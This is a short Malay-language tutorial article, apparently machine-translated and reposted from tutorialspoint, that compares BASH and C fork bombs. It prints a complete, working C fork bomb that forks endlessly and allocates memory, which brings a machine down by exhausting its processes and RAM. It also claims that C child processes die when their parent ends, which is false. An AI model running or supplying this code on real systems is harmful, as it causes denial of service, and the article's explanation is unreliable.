Rumah  >  Artikel  >  pembangunan bahagian belakang  >  Dalam C/C++, C vs BASH Fork bomb bermaksud bom fork bahasa C dan bahasa BASH.

Dalam C/C++, C vs BASH Fork bomb bermaksud bom fork bahasa C dan bahasa BASH.

WBOY
WBOYke hadapan
2023-09-14 19:41:021349semak imbas

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

Telah terbukti bahawa bom garpu BASH jauh lebih berkuasa daripada rakan sejawatnya dalam program C. Sebab utama ialah proses yang dibuat dalam BASH dipisahkan daripada proses induk. Jika proses induk (yang kita mulakan pada asalnya) dimusnahkan atau ditamatkan, proses yang selebihnya akan terus wujud. Tetapi dalam kes pelaksanaan C, proses anak yang disenaraikan ditamatkan secara automatik jika proses induk dimusnahkan atau ditamatkan. Skrip bertanggungjawab untuk berkomunikasi secara langsung dengan sistem.

Program bom garpu bahasa C boleh dikemas kini atau diubah suai. Kita boleh memperuntukkan memori dalam program apabila mencipta proses garpu.

Program berikut dianggap sebagai pelaksanaan bom fork C yang diubah suai -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

Atas ialah kandungan terperinci Dalam C/C++, C vs BASH Fork bomb bermaksud bom fork bahasa C dan bahasa BASH.. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:tutorialspoint.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam
Artikel sebelumnya:Batasan bahasa CArtikel seterusnya:Batasan bahasa C